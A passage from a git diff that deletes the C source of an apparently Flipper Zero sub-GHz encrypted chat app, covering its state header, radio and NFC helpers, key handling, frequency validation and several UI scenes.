sizeof(state->key_hex_str)); - crypto_ctx_clear(state->crypto_ctx); - - /* clear nfc data */ - if(state->nfc_dev_data->parsed_data != NULL) { - furi_string_free(state->nfc_dev_data->parsed_data); - } - crypto_explicit_bzero(state->nfc_dev_data, sizeof(NfcDeviceData)); - - /* deinit devices */ - radio_device_loader_end(state->subghz_device); - - subghz_devices_deinit(); - - /* exit suppress charge mode */ - furi_hal_power_suppress_charge_exit(); - - /* free everything we allocated */ - - crypto_ctx_free(state->crypto_ctx); - -err_alloc_crypto: - free(state->nfc_dev_data); - -err_alloc_ndevdata: - nfc_worker_free(state->nfc_worker); - -err_alloc_nworker: - subghz_tx_rx_worker_free(state->subghz_worker); - -err_alloc_worker: - popup_free(state->nfc_popup); - -err_alloc_np: - dialog_ex_free(state->key_display); - -err_alloc_kd: - chat_box_free(state); - -err_alloc_cb: - byte_input_free(state->hex_key_input); - -err_alloc_hki: - text_input_free(state->text_input); - -err_alloc_ti: - menu_free(state->menu); - -err_alloc_menu: - helper_strings_free(state); - -err_alloc_hs: - view_dispatcher_free(state->view_dispatcher); - -err_alloc_vd: - scene_manager_free(state->scene_manager); - -err_alloc_sm: - free(state); - -err_alloc: - if(err != 0) { - FURI_LOG_E(APPLICATION_NAME, "Failed to launch (alloc error)!"); - } else { - FURI_LOG_I(APPLICATION_NAME, "Clean exit."); - } - - return err; -} diff --git a/applications/external/esubghz_chat/esubghz_chat_i.h b/applications/external/esubghz_chat/esubghz_chat_i.h deleted file mode 100644 index 4c6458cec..000000000 --- a/applications/external/esubghz_chat/esubghz_chat_i.h +++ /dev/null @@ -1,124 +0,0 @@ -#pragma once - -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#include "crypto_wrapper.h" -#include "scenes/esubghz_chat_scene.h" - -#include "esubghz_chat_icons.h" -#include - -#define APPLICATION_NAME "ESubGhzChat" - -#define DEFAULT_FREQ 433920000 - -#define KEY_READ_POPUP_MS 3000 - -#define RX_TX_BUFFER_SIZE 1024 - -#define CHAT_BOX_STORE_SIZE 4096 -#define TEXT_INPUT_STORE_SIZE 256 -#define MSG_PREVIEW_SIZE 32 - -#define KEY_HEX_STR_SIZE ((KEY_BITS / 8) * 3) - -typedef struct { - SceneManager* scene_manager; - ViewDispatcher* view_dispatcher; - NotificationApp* notification; - - // UI elements - Menu* menu; - TextBox* chat_box; - FuriString* chat_box_store; - TextInput* text_input; - char text_input_store[TEXT_INPUT_STORE_SIZE + 1]; - ByteInput* hex_key_input; - uint8_t hex_key_input_store[KEY_BITS / 8]; - DialogEx* key_display; - char key_hex_str[KEY_HEX_STR_SIZE + 1]; - Popup* nfc_popup; - - // for Sub-GHz - uint32_t frequency; - SubGhzTxRxWorker* subghz_worker; - const SubGhzDevice* subghz_device; - - // for NFC - NfcWorker* nfc_worker; - NfcDeviceData* nfc_dev_data; - - // message assembly before TX - FuriString* name_prefix; - FuriString* msg_input; - - // message preview - char msg_preview[MSG_PREVIEW_SIZE + 1]; - - // encryption - bool encrypted; - ESubGhzChatCryptoCtx* crypto_ctx; - - // RX and TX buffers - uint8_t rx_buffer[RX_TX_BUFFER_SIZE]; - uint8_t tx_buffer[RX_TX_BUFFER_SIZE]; - char rx_str_buffer[RX_TX_BUFFER_SIZE + 1]; - volatile uint32_t last_time_rx_data; - - // for locking - ViewPortDrawCallback orig_draw_cb; - ViewPortInputCallback orig_input_cb; - bool kbd_locked; - uint32_t kbd_lock_msg_ticks; - uint8_t kbd_lock_count; - - // for ongoing inputs - bool kbd_ok_input_ongoing; - bool kbd_left_input_ongoing; - bool kbd_right_input_ongoing; -} ESubGhzChatState; - -typedef enum { - ESubGhzChatEvent_FreqEntered, - ESubGhzChatEvent_KeyMenuNoEncryption, - ESubGhzChatEvent_KeyMenuPassword, - ESubGhzChatEvent_KeyMenuHexKey, - ESubGhzChatEvent_KeyMenuGenKey, - ESubGhzChatEvent_KeyMenuReadKeyFromNfc, - ESubGhzChatEvent_KeyReadPopupFailed, - ESubGhzChatEvent_KeyReadPopupSucceeded, - ESubGhzChatEvent_PassEntered, - ESubGhzChatEvent_HexKeyEntered, - ESubGhzChatEvent_MsgEntered, - ESubGhzChatEvent_GotoMsgInput, - ESubGhzChatEvent_GotoKeyDisplay, - ESubGhzChatEvent_KeyDisplayBack, - ESubGhzChatEvent_KeyDisplayShare, -} ESubGhzChatEvent; - -typedef enum { - ESubGhzChatView_Menu, - ESubGhzChatView_Input, - ESubGhzChatView_HexKeyInput, - ESubGhzChatView_ChatBox, - ESubGhzChatView_KeyDisplay, - ESubGhzChatView_NfcPopup, -} ESubGhzChatView; - -void set_chat_input_header(ESubGhzChatState* state); -void append_msg(ESubGhzChatState* state, const char* msg); -void tx_msg_input(ESubGhzChatState* state); -void enter_chat(ESubGhzChatState* state); diff --git a/applications/external/esubghz_chat/helpers/nfc_helpers.h b/applications/external/esubghz_chat/helpers/nfc_helpers.h deleted file mode 100644 index 5e507e335..000000000 --- a/applications/external/esubghz_chat/helpers/nfc_helpers.h +++ /dev/null @@ -1,25 +0,0 @@ -#pragma once - -#ifdef __cplusplus -extern "C" { -#endif - -#define NFC_MAX_BYTES 256 -#define NFC_CONFIG_PAGES 4 - -struct FreqNfcEntry { - uint32_t frequency; - uint32_t unused1; - uint32_t unused2; - uint32_t unused3; -} __attribute__((packed)); - -struct ReplayDictNfcEntry { - uint64_t run_id; - uint32_t counter; - uint32_t unused; -} __attribute__((packed)); - -#ifdef __cplusplus -} -#endif diff --git a/applications/external/esubghz_chat/helpers/radio_device_loader.c b/applications/external/esubghz_chat/helpers/radio_device_loader.c deleted file mode 100644 index 91f006a44..000000000 --- a/applications/external/esubghz_chat/helpers/radio_device_loader.c +++ /dev/null @@ -1,65 +0,0 @@ -#include "radio_device_loader.h" - -#include -#include - -static void radio_device_loader_power_on() { - uint8_t attempts = 0; - while(!furi_hal_power_is_otg_enabled() && attempts++ < 5) { - furi_hal_power_enable_otg(); - //CC1101 power-up time - furi_delay_ms(10); - } -} - -static void radio_device_loader_power_off() { - if(furi_hal_power_is_otg_enabled()) furi_hal_power_disable_otg(); -} - -bool radio_device_loader_is_connect_external(const char* name) { - bool is_connect = false; - bool is_otg_enabled = furi_hal_power_is_otg_enabled(); - - if(!is_otg_enabled) { - radio_device_loader_power_on(); - } - - const SubGhzDevice* device = subghz_devices_get_by_name(name); - if(device) { - is_connect = subghz_devices_is_connect(device); - } - - if(!is_otg_enabled) { - radio_device_loader_power_off(); - } - return is_connect; -} - -const SubGhzDevice* radio_device_loader_set( - const SubGhzDevice* current_radio_device, - SubGhzRadioDeviceType radio_device_type) { - const SubGhzDevice* radio_device; - - if(radio_device_type == SubGhzRadioDeviceTypeExternalCC1101 && - radio_device_loader_is_connect_external(SUBGHZ_DEVICE_CC1101_EXT_NAME)) { - radio_device_loader_power_on(); - radio_device = subghz_devices_get_by_name(SUBGHZ_DEVICE_CC1101_EXT_NAME); - subghz_devices_begin(radio_device); - } else if(current_radio_device == NULL) { - radio_device = subghz_devices_get_by_name(SUBGHZ_DEVICE_CC1101_INT_NAME); - } else { - radio_device_loader_end(current_radio_device); - radio_device = subghz_devices_get_by_name(SUBGHZ_DEVICE_CC1101_INT_NAME); - } - - return radio_device; -} - -void radio_device_loader_end(const SubGhzDevice* radio_device) { - furi_assert(radio_device); - radio_device_loader_power_off(); - // Code below is not used (and will cause crash) since its called from tx_rx worker end! - //if(radio_device != subghz_devices_get_by_name(SUBGHZ_DEVICE_CC1101_INT_NAME)) { - // subghz_devices_end(radio_device); - //} -} \ No newline at end of file diff --git a/applications/external/esubghz_chat/helpers/radio_device_loader.h b/applications/external/esubghz_chat/helpers/radio_device_loader.h deleted file mode 100644 index bee4e2c36..000000000 --- a/applications/external/esubghz_chat/helpers/radio_device_loader.h +++ /dev/null @@ -1,15 +0,0 @@ -#pragma once - -#include - -/** SubGhzRadioDeviceType */ -typedef enum { - SubGhzRadioDeviceTypeInternal, - SubGhzRadioDeviceTypeExternalCC1101, -} SubGhzRadioDeviceType; - -const SubGhzDevice* radio_device_loader_set( - const SubGhzDevice* current_radio_device, - SubGhzRadioDeviceType radio_device_type); - -void radio_device_loader_end(const SubGhzDevice* radio_device); \ No newline at end of file diff --git a/applications/external/esubghz_chat/scenes/esubghz_chat_chat_box.c b/applications/external/esubghz_chat/scenes/esubghz_chat_chat_box.c deleted file mode 100644 index be84ced48..000000000 --- a/applications/external/esubghz_chat/scenes/esubghz_chat_chat_box.c +++ /dev/null @@ -1,59 +0,0 @@ -#include "../esubghz_chat_i.h" - -/* Prepares the text box scene. */ -void scene_on_enter_chat_box(void* context) { - FURI_LOG_T(APPLICATION_NAME, "scene_on_enter_chat_box"); - - furi_assert(context); - ESubGhzChatState* state = context; - - text_box_reset(state->chat_box); - text_box_set_text(state->chat_box, furi_string_get_cstr(state->chat_box_store)); - text_box_set_focus(state->chat_box, TextBoxFocusEnd); - - view_dispatcher_switch_to_view(state->view_dispatcher, ESubGhzChatView_ChatBox); -} - -/* Handles scene manager events for the text box scene. */ -bool scene_on_event_chat_box(void* context, SceneManagerEvent event) { - FURI_LOG_T(APPLICATION_NAME, "scene_on_event_chat_box"); - - furi_assert(context); - ESubGhzChatState* state = context; - - bool consumed = false; - - switch(event.type) { - case SceneManagerEventTypeCustom: - switch(event.event) { - /* switch to message input scene */ - case ESubGhzChatEvent_GotoMsgInput: - if(!scene_manager_previous_scene(state->scene_manager)) { - view_dispatcher_stop(state->view_dispatcher); - } - consumed = true; - break; - case ESubGhzChatEvent_GotoKeyDisplay: - scene_manager_next_scene(state->scene_manager, ESubGhzChatScene_KeyDisplay); - consumed = true; - break; - } - break; - - default: - consumed = false; - break; - } - - return consumed; -} - -/* Cleans up the text box scene. */ -void scene_on_exit_chat_box(void* context) { - FURI_LOG_T(APPLICATION_NAME, "scene_on_exit_chat_box"); - - furi_assert(context); - ESubGhzChatState* state = context; - - text_box_reset(state->chat_box); -} diff --git a/applications/external/esubghz_chat/scenes/esubghz_chat_chat_input.c b/applications/external/esubghz_chat/scenes/esubghz_chat_chat_input.c deleted file mode 100644 index 721fea676..000000000 --- a/applications/external/esubghz_chat/scenes/esubghz_chat_chat_input.c +++ /dev/null @@ -1,107 +0,0 @@ -#include "../esubghz_chat_i.h" - -/* If no message was entred this simply emits a MsgEntered event to the scene - * manager to switch to the text box. If a message was entered it is appended - * to the name string. The result is encrypted, if encryption is enabled, and - * then copied into the TX buffer. The contents of the TX buffer are then - * transmitted. The sent message is appended to the text box and a MsgEntered - * event is sent to the scene manager to switch to the text box view. */ -static bool chat_input_validator(const char* text, FuriString* error, void* context) { - UNUSED(error); - - furi_assert(context); - ESubGhzChatState* state = context; - - /* no message, just switch to the text box view */ - if(strlen(text) == 0) { - view_dispatcher_send_custom_event(state->view_dispatcher, ESubGhzChatEvent_MsgEntered); - return true; - } - - /* concatenate the name prefix and the actual message */ - furi_string_set(state->msg_input, state->name_prefix); - furi_string_cat_str(state->msg_input, ": "); - furi_string_cat_str(state->msg_input, text); - - /* append the message to the chat box and prepare message preview */ - append_msg(state, furi_string_get_cstr(state->msg_input)); - - /* encrypt and transmit message */ - tx_msg_input(state); - - /* clear message input buffer */ - furi_string_set_char(state->msg_input, 0, 0); - - /* switch to text box view */ - view_dispatcher_send_custom_event(state->view_dispatcher, ESubGhzChatEvent_MsgEntered); - - return true; -} - -/* Prepares the message input scene. */ -void scene_on_enter_chat_input(void* context) { - FURI_LOG_T(APPLICATION_NAME, "scene_on_enter_chat_input"); - - furi_assert(context); - ESubGhzChatState* state = context; - - state->text_input_store[0] = 0; - text_input_reset(state->text_input); - /* use validator for scene change to get around minimum length - * requirement */ - text_input_set_result_callback( - state->text_input, - NULL, - NULL, - state->text_input_store, - sizeof(state->text_input_store), - true); - text_input_set_validator(state->text_input, chat_input_validator, state); - set_chat_input_header(state); - - view_dispatcher_switch_to_view(state->view_dispatcher, ESubGhzChatView_Input); -} - -/* Handles scene manager events for the message input scene. */ -bool scene_on_event_chat_input(void* context, SceneManagerEvent event) { - FURI_LOG_T(APPLICATION_NAME, "scene_on_event_chat_input"); - - furi_assert(context); - ESubGhzChatState* state = context; - - bool consumed = false; - - switch(event.type) { - case SceneManagerEventTypeCustom: - switch(event.event) { - /* switch to text box scene */ - case ESubGhzChatEvent_MsgEntered: - scene_manager_next_scene(state->scene_manager, ESubGhzChatScene_ChatBox); - consumed = true; - break; - } - break; - - case SceneManagerEventTypeBack: - /* stop the application if the user presses back here */ - view_dispatcher_stop(state->view_dispatcher); - consumed = true; - break; - - default: - consumed = false; - break; - } - - return consumed; -} - -/* Cleans up the password input scene. */ -void scene_on_exit_chat_input(void* context) { - FURI_LOG_T(APPLICATION_NAME, "scene_on_exit_chat_input"); - - furi_assert(context); - ESubGhzChatState* state = context; - - text_input_reset(state->text_input); -} diff --git a/applications/external/esubghz_chat/scenes/esubghz_chat_freq_input.c b/applications/external/esubghz_chat/scenes/esubghz_chat_freq_input.c deleted file mode 100644 index 3c74caec3..000000000 --- a/applications/external/esubghz_chat/scenes/esubghz_chat_freq_input.c +++ /dev/null @@ -1,108 +0,0 @@ -#include "../esubghz_chat_i.h" - -/* Sends FreqEntered event to scene manager and enters the chat. */ -static void freq_input_cb(void* context) { - furi_assert(context); - ESubGhzChatState* state = context; - - enter_chat(state); - - view_dispatcher_send_custom_event(state->view_dispatcher, ESubGhzChatEvent_FreqEntered); -} - -/* Validates the entered frequency. */ -static bool freq_input_validator(const char* text, FuriString* error, void* context) { - furi_assert(text); - furi_assert(error); - - furi_assert(context); - ESubGhzChatState* state = context; - - int ret = sscanf(text, "%lu", &(state->frequency)); - if(ret != 1) { - furi_string_printf(error, "Please enter\nfrequency\nin Hz!"); - return false; - } - - if(!subghz_devices_is_frequency_valid(state->subghz_device, state->frequency)) { - furi_string_printf(error, "Frequency\n%lu\n is invalid!", state->frequency); - return false; - } - -#ifdef FW_ORIGIN_Official - if(!furi_hal_region_is_frequency_allowed(state->frequency)) { -#else /* FW_ORIGIN_Official */ - if(!furi_hal_subghz_is_tx_allowed(state->frequency)) { -#endif /* FW_ORIGIN_Official */ - furi_string_printf(error, "TX forbidden\non frequency\n%lu!", state->frequency); - return false; - } - - return true; -} - -/* Prepares the frequency input scene. */ -void scene_on_enter_freq_input(void* context) { - FURI_LOG_T(APPLICATION_NAME, "scene_on_enter_freq_input"); - - furi_assert(context); - ESubGhzChatState* state = context; - - snprintf(state->text_input_store, TEXT_INPUT_STORE_SIZE, "%lu", state->frequency); - text_input_reset(state->text_input); - text_input_set_result_callback( - state->text_input, - freq_input_cb, - state, - state->text_input_store, - sizeof(state->text_input_store), - true); - text_input_set_validator(state->text_input, freq_input_validator, state); - text_input_set_header_text(state->text_input, "Frequency"); - - view_dispatcher_switch_to_view(state->view_dispatcher, ESubGhzChatView_Input); -} - -/* Handles scene manager events for the frequency input scene. */ -bool scene_on_event_freq_input(void* context, SceneManagerEvent event) { - FURI_LOG_T(APPLICATION_NAME, "scene_on_event_freq_input"); - - furi_assert(context); - ESubGhzChatState* state = context; - - bool consumed = false; - - switch(event.type) { - case SceneManagerEventTypeCustom: - switch(event.event) { - /* switch to message input scene */ - case ESubGhzChatEvent_FreqEntered: - scene_manager_next_scene(state->scene_manager, ESubGhzChatScene_ChatInput); - consumed = true; - break; - } - break; - - case SceneManagerEventTypeBack: - /* stop the application if the user presses back here */ - view_dispatcher_stop(state->view_dispatcher); - consumed = true; - break; - - default: - consumed = false; - break; - } - - return consumed; -} - -/* Cleans up the frequency input scene. */ -void scene_on_exit_freq_input(void* context) { - FURI_LOG_T(APPLICATION_NAME, "scene_on_exit_freq_input"); - - furi_assert(context); - ESubGhzChatState* state = context; - - text_input_reset(state->text_input); -} diff --git a/applications/external/esubghz_chat/scenes/esubghz_chat_hex_key_input.c b/applications/external/esubghz_chat/scenes/esubghz_chat_hex_key_input.c deleted file mode 100644 index 00d9e70f3..000000000 --- a/applications/external/esubghz_chat/scenes/esubghz_chat_hex_key_input.c +++ /dev/null @@ -1,80 +0,0 @@ -#include "../esubghz_chat_i.h" - -/* Sets the entered bytes as the key and sends a HexKeyEntered event to the - * scene manager. */ -static void hex_key_input_cb(void* context) { - furi_assert(context); - ESubGhzChatState* state = context; - - /* initiate the crypto context */ - bool ret = crypto_ctx_set_key( - state->crypto_ctx, state->hex_key_input_store, state->name_prefix, furi_get_tick()); - - /* cleanup */ - crypto_explicit_bzero(state->hex_key_input_store, sizeof(state->hex_key_input_store)); - - if(!ret) { - crypto_ctx_clear(state->crypto_ctx); - return; - } - - state->encrypted = true; - - view_dispatcher_send_custom_event(state->view_dispatcher, ESubGhzChatEvent_HexKeyEntered); -} - -/* Prepares the hex key input scene. */ -void scene_on_enter_hex_key_input(void* context) { - FURI_LOG_T(APPLICATION_NAME, "scene_on_enter_hex_key_input"); - - furi_assert(context); - ESubGhzChatState* state = context; - - byte_input_set_result_callback( - state->hex_key_input, - hex_key_input_cb, - NULL, - state, - state->hex_key_input_store, - sizeof(state->hex_key_input_store)); - - view_dispatcher_switch_to_view(state->view_dispatcher, ESubGhzChatView_HexKeyInput); -} - -/* Handles scene manager events for the hex key input scene. */ -bool scene_on_event_hex_key_input(void* context, SceneManagerEvent event) { - FURI_LOG_T(APPLICATION_NAME, "scene_on_event_hex_key_input"); - - furi_assert(context); - ESubGhzChatState* state = context; - - bool consumed = false; - - switch(event.type) { - case SceneManagerEventTypeCustom: - switch(event.event) { - /* switch to frequency input scene */ - case ESubGhzChatEvent_HexKeyEntered: - scene_manager_next_scene(state->scene_manager, ESubGhzChatScene_FreqInput); - consumed = true; - break; - } - break; - - default: - consumed = false; - break; - } - - return consumed; -} - -/* Cleans up the hex key input scene. */ -void scene_on_exit_hex_key_input(void* context) { - FURI_LOG_T(APPLICATION_NAME, "scene_on_exit_hex_key_input"); - - furi_assert(context); - ESubGhzChatState* state = context; - - crypto_explicit_bzero(state->hex_key_input_store, sizeof(state->hex_key_input_store)); -} diff --git a/applications/external/esubghz_chat/scenes/esubghz_chat_key_display.c b/applications/external/esubghz_chat/scenes/esubghz_chat_key_display.c deleted file mode 100644 index b682d7d87..000000000 --- a/applications/external/esubghz_chat/scenes/esubghz_chat_key_display.c +++ /dev/null @@ -1,145 +0,0 @@ -#include "../esubghz_chat_i.h" - -void key_display_result_cb(DialogExResult result, void* context) { - furi_assert(context); - ESubGhzChatState* state = context; - - switch(result) { - case DialogExResultLeft: - view_dispatcher_send_custom_event(state->view_dispatcher, ESubGhzChatEvent_KeyDisplayBack); - break; - - case DialogExResultCenter: - if(state->encrypted) { - view_dispatcher_send_custom_event( - state->view_dispatcher, ESubGhzChatEvent_KeyDisplayShare); - } - break; - - default: - break; - } -} - -/* Prepares the key display scene. */ -void scene_on_enter_key_display(void* context) { - FURI_LOG_T(APPLICATION_NAME, "scene_on_enter_key_display"); - - furi_assert(context); - ESubGhzChatState* state = context; - - if(state->encrypted) { - uint8_t key[KEY_BITS / 8]; - crypto_ctx_get_key(state->crypto_ctx, key); - snprintf( - state->key_hex_str, - KEY_HEX_STR_SIZE, - "%02hX%02hX%02hX%02hX" - "%02hX%02hX%02hX%02hX\n" - "%02hX%02hX%02hX%02hX" - "%02hX%02hX%02hX%02hX\n" - "%02hX%02hX%02hX%02hX" - "%02hX%02hX%02hX%02hX\n" - "%02hX%02hX%02hX%02hX" - "%02hX%02hX%02hX%02hX", - key[0], - key[1], - key[2], - key[3], - key[4], - key[5], - key[6], - key[7], - key[8], - key[9], - key[10], - key[11], - key[12], - key[13], - key[14], - key[15], - key[16], - key[17], - key[18], - key[19], - key[20], - key[21], - key[22], - key[23], - key[24], - key[25], - key[26], - key[27], - key[28], - key[29], - key[30], - key[31]); - crypto_explicit_bzero(key, sizeof(key)); - } else { - strcpy(state->key_hex_str, "No Key"); - } - - dialog_ex_reset(state->key_display); - - dialog_ex_set_text(state->key_display, state->key_hex_str, 64, 2, AlignCenter, AlignTop); - - dialog_ex_set_icon(state->key_display, 0, 0, NULL); - - dialog_ex_set_left_button_text(state->key_display, "Back"); - - if(state->encrypted) { - dialog_ex_set_center_button_text(state->key_display, "Share"); - } - - dialog_ex_set_result_callback(state->key_display, key_display_result_cb); - dialog_ex_set_context(state->key_display, state); - - view_dispatcher_switch_to_view(state->view_dispatcher, ESubGhzChatView_KeyDisplay); -} - -/* Handles scene manager events for the key display scene. */ -bool scene_on_event_key_display(void* context, SceneManagerEvent event) { - FURI_LOG_T(APPLICATION_NAME, "scene_on_event_key_display"); - - furi_assert(context); - ESubGhzChatState* state = context; - - bool consumed = false; - - switch(event.type) { - case SceneManagerEventTypeCustom: - switch(event.event) { - /* switch to message input scene */ - case ESubGhzChatEvent_KeyDisplayBack: - if(!scene_manager_previous_scene(state->scene_manager)) { - view_dispatcher_stop(state->view_dispatcher); - } - consumed = true; - break; - - /* open key sharing popup */ - case ESubGhzChatEvent_KeyDisplayShare: - scene_manager_next_scene(state->scene_manager, ESubGhzChatScene_KeySharePopup); - consumed = true; - break; - } - break; - - default: - consumed = false; - break; - } - - return consumed; -} - -/* Cleans up the key display scene. */ -void scene_on_exit_key_display(void* context) { - FURI_LOG_T(APPLICATION_NAME, "scene_on_exit_key_display"); - - furi_assert(context); - ESubGhzChatState* state = context; - - dialog_ex_reset(state->key_display); - crypto_explicit_bzero(state->key_hex_str, sizeof(state->key_hex_str)); -} diff --git a/applications/external/esubghz_chat/scenes/esubghz_chat_key_menu.c b/applications/external/esubghz_chat/scenes/esubghz_chat_key_menu.c deleted file mode 100644 index cd1269ee1..000000000 --- a/applications/external/esubghz_chat/scenes/esubghz_chat_key_menu.c +++ /dev/null @@ -1,174 +0,0 @@ -#include "../esubghz_chat_i.h" - -typedef enum { - ESubGhzChatKeyMenuItems_NoEncryption, - ESubGhzChatKeyMenuItems_Password, - ESubGhzChatKeyMenuItems_HexKey, - ESubGhzChatKeyMenuItems_GenKey, - ESubGhzChatKeyMenuItems_ReadKeyFromNfc, -} ESubGhzChatKeyMenuItems; - -static void key_menu_cb(void* context, uint32_t index) { - furi_assert(context); - ESubGhzChatState* state = context; - - uint8_t key[KEY_BITS / 8]; - - switch(index) { - case ESubGhzChatKeyMenuItems_NoEncryption: - state->encrypted = false; - - view_dispatcher_send_custom_event( - state->view_dispatcher, ESubGhzChatEvent_KeyMenuNoEncryption); - break; - - case ESubGhzChatKeyMenuItems_Password: - view_dispatcher_send_custom_event( - state->view_dispatcher, ESubGhzChatEvent_KeyMenuPassword); - break; - - case ESubGhzChatKeyMenuItems_HexKey: - view_dispatcher_send_custom_event(state->view_dispatcher, ESubGhzChatEvent_KeyMenuHexKey); - break; - - case ESubGhzChatKeyMenuItems_GenKey: - /* generate a random key */ - furi_hal_random_fill_buf(key, KEY_BITS / 8); - - /* initiate the crypto context */ - bool ret = crypto_ctx_set_key(state->crypto_ctx, key, state->name_prefix, furi_get_tick()); - - /* cleanup */ - crypto_explicit_bzero(key, sizeof(key)); - - if(!ret) { - crypto_ctx_clear(state->crypto_ctx); - return; - } - - /* set encrypted flag and enter the chat */ - state->encrypted = true; - - view_dispatcher_send_custom_event(state->view_dispatcher, ESubGhzChatEvent_KeyMenuGenKey); - break; - - case ESubGhzChatKeyMenuItems_ReadKeyFromNfc: - view_dispatcher_send_custom_event( - state->view_dispatcher, ESubGhzChatEvent_KeyMenuReadKeyFromNfc); - break; - - default: - break; - } -} - -/* Prepares the key menu scene. */ -void scene_on_enter_key_menu(void* context) { - FURI_LOG_T(APPLICATION_NAME, "scene_on_enter_key_menu"); - - furi_assert(context); - ESubGhzChatState* state = context; - - menu_reset(state->menu); - - /* clear the crypto CTX in case we got back from password or hex key - * input */ - crypto_ctx_clear(state->crypto_ctx); - - menu_add_item( - state->menu, - "No encryption", - &I_chat_14px, - ESubGhzChatKeyMenuItems_NoEncryption, - key_menu_cb, - state); - menu_add_item( - state->menu, - "Password", - &I_keyboard_14px, - ESubGhzChatKeyMenuItems_Password, - key_menu_cb, - state); - menu_add_item( - state->menu, "Hex Key", &I_hex_14px, ESubGhzChatKeyMenuItems_HexKey, key_menu_cb, state); - menu_add_item( - state->menu, - "Generate Key", - &I_u2f_14px, - ESubGhzChatKeyMenuItems_GenKey, - key_menu_cb, - state); - menu_add_item( - state->menu, - "Read Key from NFC", - &I_Nfc_14px, - ESubGhzChatKeyMenuItems_ReadKeyFromNfc, - key_menu_cb, - state); - - view_dispatcher_switch_to_view(state->view_dispatcher, ESubGhzChatView_Menu); -} - -/* Handles scene manager events for the key menu scene. */ -bool scene_on_event_key_menu(void* context, SceneManagerEvent event) { - FURI_LOG_T(APPLICATION_NAME, "scene_on_event_key_menu"); - - furi_assert(context); - ESubGhzChatState* state = context; - - bool consumed = false; - - switch(event.type) { - case SceneManagerEventTypeCustom: - switch(event.event) { - /* switch to frequency input scene */ - case ESubGhzChatEvent_KeyMenuNoEncryption: - case ESubGhzChatEvent_KeyMenuGenKey: - scene_manager_next_scene(state->scene_manager, ESubGhzChatScene_FreqInput); - consumed = true; - break; - - /* switch to password input scene */ - case ESubGhzChatEvent_KeyMenuPassword: - scene_manager_next_scene(state->scene_manager, ESubGhzChatScene_PassInput); - consumed = true; - break; - - /* switch to hex key input scene */ - case ESubGhzChatEvent_KeyMenuHexKey: - scene_manager_next_scene(state->scene_manager, ESubGhzChatScene_HexKeyInput); - consumed = true; - break; - - /* switch to hex key read scene */ - case ESubGhzChatEvent_KeyMenuReadKeyFromNfc: - scene_manager_next_scene(state->scene_manager, ESubGhzChatScene_KeyReadPopup); - consumed = true; - break; - } - - break; - - case SceneManagerEventTypeBack: - /* stop the application if the user presses back here */ - view_dispatcher_stop(state->view_dispatcher); - consumed = true; - break; - - default: - consumed = false; - break; - } - - return consumed; -} - -/* Cleans up the key menu scene. */ -void scene_on_exit_key_menu(void* context) { - FURI_LOG_T(APPLICATION_NAME, "scene_on_exit_key_menu"); - - furi_assert(context); - ESubGhzChatState* state = context; - - menu_reset(state->menu); -} diff --git a/applications/external/esubghz_chat/scenes/esubghz_chat_key_read_popup.c b/applications/external/esubghz_chat/scenes/esubghz_chat_key_read_popup.c deleted file mode 100644 index db1f75491..000000000 --- a/applications/external/esubghz_chat/scenes/esubghz_chat_key_read_popup.c +++ /dev/null @@ -1,273 +0,0 @@ -#include "../esubghz_chat_i.h" -#include "../helpers/nfc_helpers.h" - -typedef enum { - KeyReadPopupState_Idle, - KeyReadPopupState_Detecting, - KeyReadPopupState_Reading, - KeyReadPopupState_Fail, - KeyReadPopupState_Success, -} KeyReadPopupState; - -static bool read_worker_cb(NfcWorkerEvent event, void* context) { - furi_assert(context); - ESubGhzChatState* state = context; - - view_dispatcher_send_custom_event(state->view_dispatcher, event); - - return true; -} - -static void key_read_popup_timeout_cb(void* context) { - furi_assert(context); - ESubGhzChatState* state = context; - - uint32_t cur_state = - scene_manager_get_scene_state(state->scene_manager, ESubGhzChatScene_KeyReadPopup); - - /* done displaying our failure */ - if(cur_state == KeyReadPopupState_Fail) { - view_dispatcher_send_custom_event( - state->view_dispatcher, ESubGhzChatEvent_KeyReadPopupFailed); - /* done displaying our success */ - } else if(cur_state == KeyReadPopupState_Success) { - view_dispatcher_send_custom_event( - state->view_dispatcher, ESubGhzChatEvent_KeyReadPopupSucceeded); - } -} - -struct ReplayDictNfcReaderContext { - uint8_t* cur; - uint8_t* max; -}; - -static bool replay_dict_nfc_reader(uint64_t* run_id, uint32_t* counter, void* context) { - struct ReplayDictNfcReaderContext* ctx = (struct ReplayDictNfcReaderContext*)context; - - if(ctx->cur + sizeof(struct ReplayDictNfcEntry) > ctx->max) { - return false; - } - - struct ReplayDictNfcEntry* entry = (struct ReplayDictNfcEntry*)ctx->cur; - *run_id = entry->run_id; - *counter = __ntohl(entry->counter); - - ctx->cur += sizeof(struct ReplayDictNfcEntry); - - return true; -} - -static bool key_read_popup_handle_key_read(ESubGhzChatState* state) { - NfcDeviceData* dev_data = state->nfc_dev_data; - - /* check for config pages */ - if(dev_data->mf_ul_data.data_read < NFC_CONFIG_PAGES * 4) { - return false; - } - - size_t data_read = dev_data->mf_ul_data.data_read - (NFC_CONFIG_PAGES * 4); - - /* check if key was transmitted */ - if(data_read < KEY_BITS / 8) { - return false; - } - - /* initiate the crypto context */ - bool ret = crypto_ctx_set_key( - state->crypto_ctx, dev_data->mf_ul_data.data, state->name_prefix, furi_get_tick()); - - /* cleanup */ - crypto_explicit_bzero(dev_data->mf_ul_data.data, KEY_BITS / 8); - - if(!ret) { - crypto_ctx_clear(state->crypto_ctx); - return false; - } - - /* read the frequency */ - if(data_read >= (KEY_BITS / 8) + sizeof(struct FreqNfcEntry)) { - struct FreqNfcEntry* freq_entry = - (struct FreqNfcEntry*)(dev_data->mf_ul_data.data + (KEY_BITS / 8)); - state->frequency = __ntohl(freq_entry->frequency); - } - - /* read the replay dict */ - struct ReplayDictNfcReaderContext rd_ctx = { - .cur = dev_data->mf_ul_data.data + (KEY_BITS / 8) + sizeof(struct FreqNfcEntry), - .max = - dev_data->mf_ul_data.data + (data_read < NFC_MAX_BYTES ? data_read : NFC_MAX_BYTES)}; - - crypto_ctx_read_replay_dict(state->crypto_ctx, replay_dict_nfc_reader, &rd_ctx); - - /* set encrypted flag */ - state->encrypted = true; - - return true; -} - -static void key_read_popup_set_state(ESubGhzChatState* state, KeyReadPopupState new_state) { - uint32_t cur_state = - scene_manager_get_scene_state(state->scene_manager, ESubGhzChatScene_KeyReadPopup); - if(cur_state == new_state) { - return; - } - - if(new_state == KeyReadPopupState_Detecting) { - popup_reset(state->nfc_popup); - popup_disable_timeout(state->nfc_popup); - popup_set_text(state->nfc_popup, "Tap Flipper\n to sender", 97, 24, AlignCenter, AlignTop); - 